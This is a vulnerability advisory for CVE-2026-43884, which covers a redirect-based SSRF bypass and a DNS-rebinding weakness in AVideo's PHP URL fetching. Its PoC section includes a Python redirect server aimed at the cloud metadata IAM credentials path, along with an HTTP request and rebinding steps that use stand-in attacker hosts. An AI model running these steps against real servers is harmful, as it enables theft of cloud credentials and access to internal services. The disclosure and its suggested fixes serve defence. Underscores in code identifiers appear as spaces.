PT-2026-37300 · Packagist · Wwbn Avideo

Published

2026-05-05

·

Updated

2026-05-05

·

CVE-2026-43884

CVSS v3.1

7.7

High

VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

Two endpoints in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file get contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections.
A secondary finding is that 6+ callers of isSSRFSafeURL() discard the $resolvedIP out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.
Severity: High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

Details

Finding 1: Redirect-Based SSRF Bypass

Vulnerable code — plugin/AI/receiveAsync.json.php (line ~162–165):
// SSRF Protection: Validate URL before fetching
if (!isSSRFSafeURL($imageUrl)) {
  // blocked
} else {
  $imageContent = file get contents($imageUrl); // ← FOLLOWS REDIRECTS!
}
Vulnerable code — objects/EpgParser.php (line ~358–362):
if (!isSSRFSafeURL($this->url)) {
  throw new RuntimeException('URL blocked by SSRF protection');
}
$this->content = @file get contents($this->url); // ← FOLLOWS REDIRECTS!
Safe code for comparison — objects/functions.php, url get contents():
$opts = ['http' => ['follow location' => 0]]; // Disable auto-redirect
$context = stream context create($opts);
for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) {
  $fetched = file get contents($currentUrl, false, $context);
  // ... parse Location header ...
  if ($redirectTarget) {
    if (!isSSRFSafeURL($redirectTarget)) { // Re-validates EACH hop
      return false;
    }
    $currentUrl = $redirectTarget;
    continue;
  }
  $tmp = $fetched;
  break;
}
Root cause: The SSRF redirect protection (follow location=0 + manual redirect loop with per-hop isSSRFSafeURL() re-validation) was correctly implemented in url get contents() but NOT propagated to these two endpoints that call file get contents() directly. PHP's default follow location is 1 (follow redirects).

Finding 2: DNS Rebinding TOCTOU (Multiple Callers)

isSSRFSafeURL() provides a $resolvedIP out-parameter for DNS pinning via CURLOPT RESOLVE. Only 1 of 9 callers (plugin/LiveLinks/proxy.php) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).
Affected callers (no DNS pinning):
  • objects/aVideoEncoderReceiveImage.json.php — 4 call sites
  • objects/aVideoEncoder.json.php — 1 call site
  • plugin/BulkEmbed/save.json.php — 1 call site
  • plugin/AI/receiveAsync.json.php — 1 call site
  • objects/EpgParser.php — 1 call site
  • plugin/Scheduler/Scheduler.php — 1 call site

PoC

Redirect Bypass PoC

  1. Attacker runs an HTTP server that returns a 302 redirect:
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
  def do GET(self):
    self.send response(302)
    self.send header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
    self.end headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve forever()
  1. Attacker triggers AI image generation and intercepts the callback:
POST /plugin/AI/receiveAsync.json.php
Content-Type: application/x-www-form-urlencoded

type=image&token=VALID TOKEN&ai responses id=ID&response[data][0][url]=http://ATTACKER IP:8888/redir
  1. isSSRFSafeURL("http://ATTACKER IP:8888/redir") resolves attacker IP → public → passes
  2. file get contents("http://ATTACKER IP:8888/redir") follows 302 to http://169.254.169.254/...no SSRF re-check occurs
  3. Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker
Control test: Replace the redirect target with a legitimate public URL — isSSRFSafeURL() passes and the content is fetched normally, confirming the function works for non-malicious URLs.

DNS Rebinding PoC

  1. Configure a domain with TTL=0 DNS that alternates:
  • First query: public IP (passes isSSRFSafeURL)
  • Second query: 127.0.0.1 (reaches internal services)
  1. Submit http://rebind.attacker.com/image.jpg to any affected endpoint
  2. isSSRFSafeURL() resolves → public IP → passes (discards $resolvedIP)
  3. url get contents() / file get contents() resolves again → 127.0.0.1 → SSRF achieved

Impact

An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including:
  • Cloud metadata endpoints (169.254.169.254) — exfiltrate IAM credentials, instance identity
  • Internal services on localhost or private network (databases, admin panels, monitoring)
  • Port scanning of the internal network using the server as a proxy
The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface.

Suggested Fix

Fix 1 (Redirect bypass — immediate): Route both affected files through url get contents() which already handles redirects safely, or add explicit no-redirect context:
$ctx = stream context create(['http' => ['follow location' => 0]]);
$imageContent = file get contents($imageUrl, false, $ctx);
Fix 2 (DNS rebinding — defense-in-depth): Update all callers to capture $resolvedIP and pass it to a DNS-pinning-aware fetch function using CURLOPT RESOLVE.

Credit

Fix

SSRF

Weakness Enumeration

Related Identifiers

CVE-2026-43884
GHSA-2HCH-C97C-G99X

Affected Products

Wwbn Avideo